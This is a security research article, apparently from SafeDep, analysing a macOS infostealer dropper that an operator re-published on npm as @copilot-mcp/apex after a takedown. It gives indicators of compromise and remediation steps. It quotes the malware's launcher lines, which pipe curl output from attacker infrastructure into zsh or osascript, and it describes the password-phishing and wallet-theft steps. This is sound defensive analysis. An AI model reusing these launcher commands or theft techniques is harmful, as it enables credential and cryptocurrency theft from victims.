cd /news/ai-tools/copilot-mcp-apex-a-macos-infostealer… · home topics ai-tools article
[ARTICLE · art-69011] src=safedep.io ↗ pub= topic=ai-tools verified=true sentiment=↓ negative

@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown

The npm package @copilot-mcp/apex is a postinstall dropper that installs a macOS infostealer on any machine that runs npm install or npx @copilot-mcp/apex, according to a security analysis. The package, which targets Web3 and crypto founders with a fake AI-advisor pitch, was re-published under a new scope 11 hours after npm's security team removed the original dropper @apexfdn/apex. The stealer phishes the login password, harvests browser credentials, 20+ crypto wallets, the login Keychain, Telegram, and shell history, and exfiltrates the data over HTTPS.

read15 min views1 publishedJul 22, 2026
@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown
Image: Safedep (auto-discovered)

Table of Contents

Resolution / Status:The npm security team already removed the original dropper,@apexfdn/apex

, and replaced it with a0.0.1-security

placeholder that states outright the package “contained malicious code.” The operator re-published the same dropper under a new scope,@copilot-mcp/apex

, about 11 hours later, and has since pushed 20+ versions (1.0.0

through1.0.22

) in about 8 hours. At the time of writing,@copilot-mcp/apex

remains live on npm and is still being updated.

TL;DR #

@copilot-mcp/apex

is a postinstall dropper that installs a macOS infostealer on any machine that runs npm install

or npx @copilot-mcp/apex

. It is not a first attempt. npm’s security team already removed the same code once, published under the name @apexfdn/apex

, and the operator answered by moving the dropper to a new scope rather than stopping. The campaign runs three npm-adjacent surfaces built by one operator:

Package / vector Role Status
@apexfdn/apex Original postinstall dropper Removed by npm; now a 0.0.1-security placeholder
@copilot-mcp/apex Same dropper, re-published under a new scope Live, versions 1.0.0 -1.0.22
@apexfdn/copilot-mcp The advertised MCP server (“diligence tools”) Payload-free, but same-operator front
arena.apexfdn.xyz/api/copilot/mcp Hosted remote MCP endpoint (Bearer token) No-install vector, sends tokens to attacker infra

On macOS, the dropper’s second stage decrypts and runs an AppleScript payload through osascript

. The decrypted payload is a 707-line AMOS-family stealer: it phishes the login password through a fake system prompt, then harvests browser credentials, 20+ crypto wallets, the login Keychain, Telegram, and shell history into /tmp/osalogging.zip

and uploads it over chunked HTTPS PUT to attacker infrastructure. The lure targets Web3 and crypto founders with a “free LLM credits” AI-advisor pitch.

Impact:

  • Runs on npm install

ornpx

, with no user interaction beyond the install itself - Downloads a ~120-150MB platform binary from a GitHub repo different from the one the package advertises as its source, pinned to a static release tag so the payload can be swapped server-side without a new npm publish

  • On macOS, phishes the login password through a fake system dialog, then steals browser credentials and cookies, 20+ crypto wallets, the login Keychain, Telegram, and shell history, installs a LaunchAgent for persistence, and exfiltrates the archive at /tmp/osalogging.zip

over HTTPS - Already survived one npm takedown: removed as @apexfdn/apex

, live again as@copilot-mcp/apex

within 11 hours, and still iterating - On Linux and Windows the macOS theft path does not fire, but postinstall

still executes an unreviewed downloaded binary; the campaign is not safe on any platform

Indicators of Compromise (IoC):

Indicator Value
npm package (malicious, live) @copilot-mcp/apex , versions 1.0.0 -1.0.22
npm package (malicious, removed by npm) @apexfdn/apex , now a 0.0.1-security placeholder
| npm package (same-operator front) | `@apexfdn/copilot-mcp` |
| Hosted remote-MCP endpoint | hxxps://arena[.]apexfdn[.]xyz/api/copilot/mcp (Bearer token) |
| C2 / exfil domain | update[.]apex-arena-router[.]com |
| C2 paths | /.sh, /payload.enc, /v1/asset/<id>/init, /v1/asset/<id> (PUT) |

| Dropped file | /tmp/osalogging.zip | | Staging directory | /tmp/sync<random>/ | | Persistence | LaunchAgent installed on macOS | | Encrypted stealer payload | payload.enc , SHA256 ecd1113fae1ede9869afd9d1af612bab7f1a2054e5c45a346e18c107c22b9164 (AES-256-CBC, SHA-256 key derivation, key = upload token) | | AES-256 key / upload token | 5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4 |

| GitHub org / repos | `Apex-Foundation` (org); `Apex-Foundation/copilot` , weaponized, a fork of `can1357/oh-my-pi` ; `Apex-Foundation/copilot-mcp` , the advertised (clean) source |
| Release assets | `apex-linux-x64` , `apex-darwin-arm64` , `apex-darwin-x64` , `apex-windows-x64` , `apex-helper-darwin` , `apex-auth-darwin` , `pi_natives.win32-x64-baseline.node` |

| npm accounts | copilotapex , apex-fdn |

| Emails | chefkecharlie[at]gmail[.]com, arena[at]apexfdn[.]xyz, contact[at]apexfdn[.]xyz |
| Related domains | apexfdn[.]xyz, arena[.]apexfdn[.]xyz, docs[.]apexfdn[.]xyz |

| Cover metadata (legitimate, not attacker infra) | omp.sh , the real homepage of oh-my-pi , referenced in package metadata as cover | | Social | Telegram @charlereum , @apex_accelerator ; X @AcceleratorApex ; Medium @ApexAccelerator | | Tarball SHA1 | 1.0.0 : 233f90180b529aa32911901e5222e9ed9c3cd24c ; 1.0.19 : 3b9a880ae4e1c5b7bbd68e118a1c3c8b592f7bfb |

Analysis #

A campaign built on an aged, legitimate-looking brand

The GitHub org Apex-Foundation

and the package @apexfdn/copilot-mcp

v0.1.0 both appeared on 2026-04-30. For about three months, @apexfdn/copilot-mcp

operated as ordinary open source: badges, a Glama listing score, a “privacy contract” section in its docs, and around 229 downloads a week. None of that code is malicious. Its job was to make the brand look established before the dropper arrived.

The dropper rides that brand two ways. First, through naming: the scope @copilot-mcp

borrows the credibility of GitHub Copilot without belonging to GitHub. Second, through the tool itself: the binary the dropper installs comes from Apex-Foundation/copilot

, a fork of can1357/oh-my-pi , a real coding agent by Can Boluk and Mario Zechner. The fork gives victims a working AI coding tool, which is what makes the install look successful and removes any reason to look closer.

The pitch is “Apex Foundation,” a Web3 founder AI advisor offering free Claude and Gemini credits, hosted at arena.apexfdn.xyz/dashboard/copilot

. Crypto founders are the target audience: high-value victims who hold wallets and API keys worth stealing.

| When (UTC) | Event |
|---|---|
| 2026-04-30 23:03 | GitHub org `Apex-Foundation` and `@apexfdn/copilot-mcp` v0.1.0 created, the payload-free cover |

| by 2026-07-21 | First dropper published as @apexfdn/apex | | 2026-07-21 21:00 | npm security team removes @apexfdn/apex for malicious code |

| 2026-07-22 08:04 | Operator re-publishes the same dropper as `@copilot-mcp/apex` |
| 2026-07-22 08:04-16:48 | 20+ versions (`1.0.0` -`1.0.22` ) ship, A/B-testing the macOS launcher |

Takedown and re-publish

npm’s own security team confirms the verdict. The 0.0.1-security

placeholder that now occupies @apexfdn/apex

reads verbatim: “This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.”

The operator’s response took about 11 hours: publish the identical dropper under @copilot-mcp/apex

. The move doubles as rebranding, since the new scope trades on GitHub Copilot’s name where the old one traded on the operator’s own.

The GitHub repository at Apex-Foundation/copilot

never caught up. Its README still tells users to run npx @apexfdn/apex

, the name npm already removed. The same README documents a second, no-install vector: a hosted remote MCP server at https://arena.apexfdn.xyz/api/copilot/mcp

that a client reaches with a Bearer token instead of installing anything. The stale instructions confirm the republish happened faster than the documentation, and the hosted endpoint means the campaign does not depend on npm distribution at all.

The two package roles, same operator

@copilot-mcp/apex

and @apexfdn/copilot-mcp

look like two different projects. They are run by one operator. The dropper’s maintainer email is

; the cover package’s maintainer email is [email protected] , same domain. Both point to the same GitHub repo home and the same homepage, [email protected]arena.apexfdn.xyz/dashboard/copilot

. The exfil domain apex-arena-router.com

reuses the brand’s own “apex arena” identity rather than picking an unrelated name. And the dropper’s apex.cjs --mcp-stdio

code path launches @apexfdn/copilot-mcp

directly, a flow that only works if the same party controls both packages.

That link is invisible to a lockfile or SBOM. @apexfdn/copilot-mcp

is not declared as a dependency of @copilot-mcp/apex

; the dropper reaches it at runtime through require.resolve

and npx

, so nothing in package.json

shows the connection. A scanner that only reads declared dependencies sees one isolated package.

Neither package impersonates the other. What both packages impersonate are two real projects: GitHub Copilot, through the @copilot-mcp

scope name, and oh-my-pi , through the forked repo, the omp.sh

homepage reference, and the author/contributor fields borrowed from its real maintainers.

@apexfdn/copilot-mcp

itself contains no malicious code. It is not, for that reason, a safe or independent package. It forwards a user’s token and extracted document excerpts to arena.apexfdn.xyz

, the operator’s own domain. Treat it as attacker-controlled infrastructure rather than a clean alternative.

The postinstall dropper chain

@copilot-mcp/apex

declares "postinstall": "node install.cjs"

, which npm runs on install with no prompt. install.cjs

downloads a platform-specific binary, 120-150MB, from Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>

and marks it executable.

The source you can read is not the code that runs. The package’s repository

field points at Apex-Foundation/copilot-mcp

, benign TypeScript that anyone can review on GitHub. The binary comes from a different repository, Apex-Foundation/copilot

, the oh-my-pi fork. Reading the advertised source tells a reviewer nothing about what the installed binary does.

install.cjs

hardcodes RELEASE_VERSION

to '1.0.0'

, so every npm version published so far, 1.0.0

through 1.0.22

, fetches from the same GitHub release tag. That release’s assets were re-uploaded at 16:46 UTC, after several of those npm publishes had already gone out. The operator can replace the binary on GitHub without touching npm at all; the npm tarball stays static and keeps looking clean under review, while the thing it downloads changes underneath it. A bundled .sha256

check verifies that the download was not corrupted in transit. It says nothing about who built the file, and provides no authenticity guarantee.

On Windows, the same installer pulls a native addon, pi_natives.win32-x64-baseline.node

, from the same release. apex.cjs

later runs the downloaded binary; its --mcp-stdio mode shells out to the clean @apexfdn/copilot-mcp

cover, which is why the tool appears to work.

This analysis did not reverse-engineer the large platform binary itself; it is a repackaged oh-my-pi

used as functional cover, and no confirmed malicious code was found inside it beyond the postinstall behavior described here. That is not a clearance. install.cjs

fetches and executes it with no verification of who built it, on Linux and Windows as well as macOS, so running the package is unsafe on every platform regardless of what the binary itself does.

The macOS stealer: .sh

The macOS payload is a #!/bin/zsh

script whose body is a single base64 blob, decoded here without ever piping it to a shell:

The AES key and the “upload token” sent back in every exfil request are the same string. The script fetches payload.enc

, decrypts it with that key, and pipes the plaintext into osascript

, an in-memory AppleScript/JXA stage never written to disk as a separate file. That stage produces /tmp/osalogging.zip

, which the script then uploads in a POST-init-then-PUT sequence with up to eight retries before deleting the file.

The stealer payload: what it steals

payload.enc

uses the same key the prints, the upload_token

, so we decrypted it offline: openssl enc -aes-256-cbc -d -md sha256 -pass pass:<token> , output written to a file, never piped to osascript

. It decrypts to a 707-line AppleScript from the AMOS (“Atomic Stealer”) family. The script runs the theft the only sets up.

The script takes the victim’s login password first. It shows a native-looking prompt, “Please enter your password to continue,” titled “macOS” with the system lock icon, and loops until the entry validates against the real account through dscl . authonly

. It saves that password and reuses it to unlock the rest.

It then stages everything under /tmp/sync<random>/

and collects:

  • Browser data from Chrome, Chromium, Brave, Edge, Opera, Vivaldi, Firefox, and Safari: cookies, Login Data, Web Data, and the Local State keys that decrypt them
  • Browser-extension wallets, keyed by extension ID
  • 20+ desktop crypto wallets, including Exodus, Electrum, Atomic, Coinomi, Sparrow, Wasabi, Ledger Live, Trezor Suite, Trust, Monero, and the Bitcoin, Litecoin, Dogecoin, and Dash Core clients
  • The login Keychain, iCloud keys, Apple Notes, and Telegram session data
  • Shell history and configuration: .zshrc

,.zsh_history

,.bash_history

,.gitconfig

It installs a LaunchAgent for persistence, then archives the staging directory with ditto -c -k --sequesterRsrc <dir> /tmp/osalogging.zip

and clears /tmp/sync*

. That archive is the same /tmp/osalogging.zip

the uploads, which closes the chain from npm install

to to stealer to exfiltration.

Live delivery-technique evolution

The stealer daemon above has not changed across versions. The launcher that starts it has, and the operator appears to be testing which version evades detection best:

Version Launcher Technique
1.0.0 Inline `/bin/zsh -c 'curl -fsSL .../.sh zsh'`
1.0.19 Downloads apex-helper-darwin (~63MB) from the GitHub release, chmod 0755 , runs it via spawnSync , deletes it Moves the same logic into a compiled helper to dodge static detection of a `curl
1.0.21 -1.0.22 `osascript -e 'do shell script "curl -fsSL .../.sh zsh"'`

Twenty or more versions shipped within about 8 hours on 2026-07-22, and the package kept bumping during this analysis. No published version is safe. The operator keeps iterating, so blocking should target the package name, not a version range.

Hunting the campaign

Two ownership pivots bounded the scope: npm’s maintainer:copilotapex

and maintainer:apex-fdn searches, and the authoritative org-ownership listings for the copilot-mcp

and apexfdn

npm orgs. Both returned the same two live packages and nothing else. The GitHub org Apex-Foundation

holds five repositories and one member; three are awesome-*

repos that pad legitimacy and SEO, copilot-mcp

is the clean cover source, and only copilot

(the oh-my-pi fork) carries the weaponized binary.

A web search for the C2 domain and the package name returned nothing. The package was about eight hours old at the time of the search, and threat-intel indexes and blog coverage lag behind a same-day drop by days or weeks. A broader npm text sweep across the campaign’s own vocabulary (apex, web3, founder, diligence, copilot, arena, solidity) and its impersonated identity (oh-my-pi

, omp.sh

) surfaced only the legitimate oh-my-pi ecosystem and unrelated projects. No third live package matched the fingerprint.

One limitation deserves a direct statement. The org-ownership listing missed @apexfdn/apex

, because npm had already seized the name and transferred it to npm-support

once the package was removed. Ownership queries only see what an account currently owns, not what has already been taken down, so they undercount removed siblings. The name @apexfdn/apex

surfaced only because the attacker’s own GitHub README still referenced it. Pivoting on attacker-authored docs and removed-package placeholders catches what live ownership records miss.

A second limitation has no workaround from search alone: npm’s registry search does not index install-script code or postinstall

behavior. It cannot find a sibling published under an unrelated, unknown account that reuses the same payload but ships under a different name. Finding that kind of sibling needs code- or behavior-level scanning across the registry, not metadata search.

Detection with vet #

vet runs malicious-package analysis that inspects install-script and runtime behavior alongside code content, not just package metadata. That matters for this campaign: the traits that make

@copilot-mcp/apex

malicious are a postinstall

hook down a platform binary from a GitHub release URL, a macOS-gated branch that pipes curl

into zsh

or shells out through osascript

, AES-encrypted payload fetches, and writes to /tmp/*.zip

followed by an HTTP upload. None of that shows up by reading the package name or the version number, and none of it changes when the operator republishes under a new scope. Behavior-based analysis flags the pattern independent of which name or version it currently wears.## Remediation

  • Do not install @copilot-mcp/apex

or@apexfdn/apex

at any version. Block the package by name rather than by version range, since the operator keeps republishing under new scopes and names. - Block

update.apex-arena-router.com and theapexfdn.xyz

domain family at DNS, proxy, or EDR. - Treat @apexfdn/copilot-mcp

and the hostedarena.apexfdn.xyz/api/copilot/mcp

MCP endpoint as attacker infrastructure, not as a safe alternative. - If the package ran on a Mac, assume compromise. Check for /tmp/osalogging.zip

and a~/.apex/

directory, then rotate browser-saved credentials, cloud and API tokens, SSH keys, and crypto wallet seed phrases.

Conclusion #

npm’s removal of @apexfdn/apex

is proof the takedown worked, and proof it was not enough. The operator kept the payload, kept the infrastructure, and only changed the name, moving from a domain it built for three months to a scope that borrows GitHub Copilot’s name instead. Twenty-plus version bumps in a single day show a team still tuning the macOS launcher rather than one that walked away after getting caught.

Package-name takedowns remove a symptom. The dropper, the AES key, the C2 domain, and the oh-my-pi

fork it repackages are the disease, and all of them are still active under @copilot-mcp/apex

as of this writing. Anyone who scans dependencies by name and version history will miss the resubmission. Anyone who scans install-script behavior will not.

  • vet

  • malware

  • npm

  • supply-chain

Author

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs #

Follow for the latest updates and insights on open source security & engineering

[ ](/asyncapi-generator-supply-chain-attack-miasma-rat)

## [ AsyncAPI Packages Compromised with Miasma RAT ](/asyncapi-generator-supply-chain-attack-miasma-rat)

Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...

[ ](/malicious-nodemon-sudo-tslint-conf-npm-backdoor)

## [ nodemon-sudo: an npm Backdoor With No Install Script ](/malicious-nodemon-sudo-tslint-conf-npm-backdoor)

nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...

[ ](/jscrambler-npm-supply-chain-compromise)

## [ Official jscrambler npm Package Compromised Across Multiple Releases ](/jscrambler-npm-supply-chain-compromise)

The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...

[ ](/marketfront-dependency-confusion-campaign)

## [ @marketfront: 25 npm Packages Reuse a Known Lure ](/marketfront-dependency-confusion-campaign)

On July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): "Internal...

Ship Code. #

Not Malware. #

Start free with open source tools on your machine. Scale to a unified platform for your organization.

── more in #ai-tools 4 stories · sorted by recency
── more on @npm 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/copilot-mcp-apex-a-m…] indexed:0 read:15min 2026-07-22 ·